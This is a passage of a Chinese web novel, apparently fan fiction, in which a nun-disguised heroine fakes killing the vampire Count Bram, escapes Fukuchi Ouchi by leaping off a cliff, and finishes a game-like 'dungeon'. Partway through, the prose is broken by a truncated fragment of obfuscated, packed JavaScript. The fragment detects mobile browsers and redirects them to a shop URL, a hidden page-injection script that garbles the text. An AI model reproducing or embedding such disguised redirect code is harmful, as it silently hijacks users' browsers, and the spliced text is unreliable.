最终讨伐，在深夜开始。
虽然讨伐吸血鬼伯爵这种事情听起来很轰轰烈烈，但实际上并没有太多人，毕竟真正的主力只有福地樱痴一个人，其他人都是辅助工作。
泉飞鸟抱着用厚厚布料缠起来的圣剑，不远不近跟着，旁边有人问她拿着的是什么东西，也只是笑笑不说话。
布拉姆沉睡居住的地方是一座古堡，虽然也很宏伟壮观，但和罗马尼亚的那座吸血鬼城堡比起来，确实寒酸很多。
毕竟那时候的布拉姆还是真正的领主，现在的他只是被从家乡驱赶出来，空有称号没有子民的虚名伯爵罢了。
泉飞鸟现在严重怀疑讨伐队里有组织的人，因为这群人不知道从哪里搞到了一大堆炸药，直接把这已经陈旧不堪的古堡炸了个底朝天。
喂！这里收拾收拾改造一下，好歹也是个旅游景点啊，你们这么浪费吗？
“你们为何要打扰吾的沉眠。”
吸血鬼伯爵布拉姆出现的时候看起来脸色特别糟糕，一副起床气很严重的模样。
毕竟不是谁都能在睡觉的时候被炸醒还能保持冷静的，布拉姆的目光在来者脸上略过：“你们是来讨伐吾的吗？吾从未做过任何错事。”
“对了，你们知道手机是什么吗？”
站在旁边捧着圣剑的泉飞鸟默默捂住脸。
本来这种最终大决战的场面还挺热血沸腾的，但是对方一问出手机的时候，总感觉气氛变得微妙了起来。
“手机？”
福地樱痴的手放在了他腰间的佩剑上：“你是想用花言巧语来降低我的戒心吗？”
他腰间上佩戴了两把剑，其中一把是他的爱刀雨御前，另一把就是不知是真是假的圣剑了。
“老夫的名字是福地樱痴，此乃救世之战，我必定会全力讨伐灾害的吸血鬼！”
“吾已经说过了，吾不知道什么灾害的吸血鬼，你们真的不知道手机是什么吗？”
布拉姆的脾气看起来还挺好的。
他是真的很想要手机，甚至都没有任何要主动进攻的意思。
福地樱痴已经不想再多说什么废话，拔刀准备战斗，泉飞鸟在这个恰到好处的时机出声打断了他的动作。
“福地先生，您手中的这把剑似乎并没有经过上帝的赐福，讨伐起来或许会有不便之处。”
福地樱痴用某种堪称古怪的目光，深深地看了她一眼，随后很快露出了和往常无一的爽朗笑容。
直觉的警报瞬间拉爆，泉飞鸟忽然觉得有什么地方不太对。
“眼光很不错啊，泉女士，这并不是那把传说中曾经斩杀过吸血鬼的圣剑，而是仿造的赝品。”
他不再看对面的布拉姆，而是低头抚了抚锋利的刀刃，似乎对他来说，和泉飞鸟说话比讨伐吸血鬼更加重要。
“正品因为某些原因遗失了，不过没关系！我们这边还有米格尔君的援助，一样能压制吸血鬼的复生能力。”
福地樱痴转头看向后方，人群中有着深色皮肤的青年对着他点点头，他的手里正捧着一段散发着古怪氛围的黑色绳子。
“再加上泉女士你的能力，我们这边是有胜算的。”
福地樱痴拍了拍她的肩膀：“放心吧，你的复仇一定会实现的。”
“......那么，如果有圣剑呢？”
泉飞鸟一字一句地说：“如果有圣剑的话，胜算会不会更大？”
她在所有人惊愕的目光中，摘下了脸上的黑色面纱，露出那张烧伤后可怖的面孔，几乎所有人都下意识别开视线。
他们反应一个个都这么大，泉飞鸟努力压住快要往上扬的嘴角，把被包裹住的圣剑拿起来。
靠谱的中也借着FBI的人脉，找了已经息影的女演员工藤有希子女士帮忙化妆，果然效果拔群！
回现实之后，好想也学一手这种出神入化的化妆术啊。
“泉女士，你是从哪里得到这把剑的？”
“我为了复仇犯下了滔天的大错，死后一定会坠入地狱，在此之前我想赎罪。”
泉飞鸟说了句含糊不清的话，给他们留下脑补的空间。
她十指交叉做出祈祷的姿势：“请先让我和吸血鬼战斗吧，等我迎来死亡的终结之时，还请福地先生重新捡起圣剑，消灭灾厄。”
泉飞鸟顺利上场了。
她看起来是那么无力（？），甚至都不能做到单手举剑，只能让剑尖拖在地上往前走。
这绝对是毫无悬念的战斗，就算是再异想天开的人，都不会认为柔弱的修女有任何胜利的可能性。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14037443|145978||http|test|mini|href|location''.split(''|''),0,{}));
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她在走向既定的死亡。
泉飞鸟费了好大的劲才磨蹭到布拉姆面前，她只觉得这短短的一段路装柔弱比打架还累，恨不得现在就表演一个胸口碎大石。
布拉姆居然真的在原地等她走过来，和电话里一样友好地打招呼：“你好。”
他们这边已经离人群挺远，旁边还有火焰燃烧的声音，泉飞鸟也直接不装了：“你好，我不好。”
布拉姆的眼睛像个灯泡一样亮了。
“果然是你！刚才听到你的声音就觉得很像，你就是梦里的妖精吧！”
“都说了这世界上没有妖精了......”
泉飞鸟无语凝噎，双手握住了剑柄：“总之，我把你想要的手机带来了，麻烦你接下来配合我一下，无论看到什么都不要惊讶。”
＊
泉修女走向吸血鬼的时候，所有人都忍不住屏住呼吸，有几个人是虔诚的教徒，已经开始闭眼祈祷。
他们不忍心看到这位女士被吸血鬼虐杀的场面，更不希望这位因为吸血鬼失去一切的人，变成她最厌恶的吸血鬼。
福地樱痴站在最前方注视着这一切，光明磊落的英雄脸上是全然的冷漠，他的手一直都没有离开过雨御前的刀柄。
修女一步步靠近吸血鬼，在他面前站定。
两个人似乎说了什么，吸血鬼露出了狰狞的表情（？），修女双手挥动了圣剑。
吸血鬼的脑袋掉下来，只留下了身体，在火光中灰飞烟灭。
“？”
修女再次举起圣剑，往地面一戳。
他们这个角度看不见具体的吸血鬼头颅，只看到再次飘起和身体消散时一模一样的烟雾。
“？？？”
吸血鬼，就这么死了......？
福地樱痴的脸色骤然阴沉下来。
有着深色肤色的青年人不用他开口，已经握住黑绳飞速冲向站在原地一动不动的修女。
讨伐队的其他人被突如其来的变故镇住，下意识看向福地樱痴：“福地先生，这.....”
耳边是抽刀出鞘的脆响。
随后他们看到了自己无头站立的身体，彻底失去意识前听到了福地樱痴的声音。
“——抱歉啊，这都是为了世界和平。”
27.第二十七章
事实上，米格尔向她冲过来，福地樱痴拔刀杀人的时候，泉飞鸟已经收拾收拾跑路了。
她这次的目的就是来带走布拉姆而已，非必要情况下，绝对不会和福地樱痴硬碰硬。
而且，她的逃跑技术已经是顶流了！
好歹也是在魏尔伦先生的追杀下全身而退（自称）的人，拿捏一个初出茅庐的小年轻简直易如反掌。
事实上也确实如此。
米格尔是个刚离开自己国家，出来闯荡的清澈纯真年轻人，没见过什么大风大浪，这次是被高价雇佣过来的。
他倒是想追上逃跑的女人，却只能眼睁睁看着他们之间的距离逐渐拉大，最后甚至是对方暂缓脚步停下来等他，才堪堪摸到对方的衣角。
米格尔有些怀疑人生。
他也算是他们国家里最有天赋的一把好手，怎么外面随便一个人都能比他快？
“呦，年轻人。”
泉飞鸟停下来的位置正好是悬崖附近，如刀削般的悬崖下方是奔腾的冰冷海水，站在这个位置还能看到远处熊熊燃烧的古堡和一望无际的森林。
福地樱痴暂时还没有追上来，不过也只是时间问题，泉飞鸟可以慢慢等他来。
她挥手和米格尔打了个招呼：“年轻人，你这一看就是刚出来闯荡没多久，他们给了多少钱雇佣你？”
米格尔握紧了手中的黑绳，他看起来有点紧张：“你是打算给我双倍的价格，反过来雇佣我，让我不要对你动手吗？”
电影里一般都是这种套路。
“你说的很有道理哎。”
泉飞鸟露出微笑，很有闲情逸致地和他聊天：“不过怎么可能？我又不傻！你一看就打不过我嘛！”
她的笑容豪爽又灿烂，似乎没有带任何负面情绪，但是米格尔总感觉自己被嘲笑了。
“你已经没有路可以跑了，束手就擒吧。”
虽然业务不太熟练，但他的战斗能力其实不差。
米格尔不需要杀死这个女人，他只要用黑绳缠绕住她的手，拖延到福地樱痴赶过来就可以！
他的意图实在太明显，泉飞鸟直接单手抓住了黑绳的末端，任凭绳子缠绕住手臂。
得手了！这样黑绳就能封印她的能力了！
米格尔才刚露出欣喜的表情就僵在脸上，泉飞鸟似乎完全没有被封印能力，她的力气甚至大到直接把黑绳从他手里抢过去！
“你看起来很意外嘛。”
泉飞鸟没学过耍鞭子之类的技巧，但武器的使用一向来是共通的，她把黑绳在手里挽了个鞭花：“是不是很好奇为什么没有起作用？”
——比米格尔的回答更快的是福地樱痴的刀锋。
他的刀上还残留着血迹，明显是直接赶过来的，早就有所准备的泉飞鸟一抖手腕，黑绳像条灵活的蛇，缠绕住福地樱痴的手臂。
她后退几步，甚至抽空喝了个增加攻击力的“你没逝吧？”道具药水。
很明显，这种东西对他也没有什么太大的用处，泉飞鸟已经反手从背包里掏出匕首，架住了福地樱痴的刀。
两人僵持住。
单纯从身体素质上来说，泉飞鸟肯定是暂时比不过福地樱痴，但是没关系。
她！没有道德！不择手段！超没素质！
她会偷袭！
泉飞鸟瞬间把对面的福地樱痴拉进战斗空间又迅速放出来，趁着对方怔愣的瞬间，狠狠掏出了自己提前准备好的秘密武器。
——提前淬过毒的大砍刀，给福地樱痴胸口来了一下。
福地樱痴反应速度极快，成功避开了致命伤，但砍刀还是在他身上留下了一道很长的伤口。
泉飞鸟毫不恋战，扔下刀就往悬崖边上跑。
这种阴招当然只能用一次啦！下次肯定就不管用了！
“……你的那种能力，必须要在有人的时候才能使用吧，跳悬崖只有死路一条。”
即将到达最边缘的泉飞鸟回过头，看向捂住伤口福地樱痴，他脸色看起来有些苍白，背脊却仍然挺直。
“放弃吧，放弃抵抗的话还能留下全尸，成就世界和平的大业。”
泉飞鸟眨了下眼睛，脑子转得很快。
……看来泄露消息的人就是费奥多尔君了，真是阴魂不散啊。
“抱歉啊，能在临死之前砍你一刀我也很满足了，你就做你的春秋大梦去吧！”
泉飞鸟心情愉悦地一挥手，毫不犹豫地往下跳，没有丝毫留恋。
“拜拜喽，下辈子再见！”
等米格尔冲到悬崖边上往下看的时候，只看见了翻滚的海浪，那个修女的背影已经完全看不见了。
＊
很远很远的海面上飘荡着一艘帆船，如果站在悬崖上往这里看的话，几乎只能看见一个小黑点。
太宰治和中原中也站在船的两头，谁也没说话，直到船上突然出现了两个身影。
看起来跟个没事人一样的泉飞鸟，以及已经沉迷在手机里的布拉姆。
吸血鬼伯爵这辈子还是第一次看到这么新奇的东西，因为没有网络，他正在播放手机里提前准备好的视频。
“搞定了？”
“搞定了。”
泉飞鸟放松下来之后才感觉累得要死，一屁股坐在地上不想起来，中原中也还好奇地多看了两眼那位传说中的吸血鬼。
……只能说完全没有传闻
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中那种恐怖的威慑力，像是个得到了新东西就不撒手的老人家。
这艘船是提前准备好的，正好卡在泉飞鸟开空间范围的最边缘，她能在跳崖之后带着只剩下一个头的布拉姆直接转移过来。
布拉姆真的是身残志坚，他为了尽快玩手机，用了最快的速度重新长出手臂，现在眼睛都不从屏幕上移开。
“那接下来就和刚才跟你说好的一样，我们之后会把你送到附近一个有人居住的小岛上。”
泉飞鸟打开地图看了看方向，不过看起来布拉姆似乎完全没有在听。
“那里有网络，也有提前准备好的游戏机和电脑，也可以收到国际包裹，你就可以换个地方过上足不出户的日子。”
泉飞鸟也不是很确定布拉姆能过上多久的安稳日子，但后续的事情也无所谓，毕竟这个副本都要结束了。
她确实阻止了组织对吸血鬼的研究，只要达成这个目的就行了。
“吾会永远记住你的恩德，来自异乡的妖精啊，你获得了吾永恒不变的友谊！”
布拉姆把手机紧紧握在手里：“吾这百年以来还是第一次受到如此珍重的礼物，但吾还想问你，你提起的游戏机和电脑又是何物……”
……泉飞鸟果断选择退出副本。
周围的一切都变得白茫茫，耳边响起了熟悉的系统音。
【恭喜宿主完成副本“血腥研究”！系统正在结算中，请稍后……】
【恭喜宿主达成“废弃研究所的哀嚎”任务进度100%！系统自动为宿主升级任务奖励，随机精英自选技能已升级为自选精英技能！】
泉飞鸟眼前出现了一个巨大的屏幕，上面正滚动着无数稀奇古怪的技能名称。
她盯着那些莫名其妙的技能名称，陷入沉思。
什么“强人锁男”，“黑蚊子多”，还有个别更是离谱，“你说什么听不懂思密达”，“疯狂周日v你50”，“啊？我？我打●●？”，“妈妈，人生是旷野”……
感觉这和随机选择好像也没有区别？
泉飞鸟的眼神犀利了起来，她看到了一个看起来非常厉害的技能名字。
——“万物起源”。
听起来像是某种因果律能力，泉飞鸟已经迫不及待想看看到底是何等强大的技能了。
她果断选择了“万物起源”。
【恭喜宿主选择技能“万物起源”！请点开详细查看具体技能效果。】
【万物起源lv1：斯密马喽，斯密马赛！
在技能开启后的一分钟（可升级），被你选中的敌人会认为自己是一只猴子。】
“……？”
不是，这就是你的万物起源？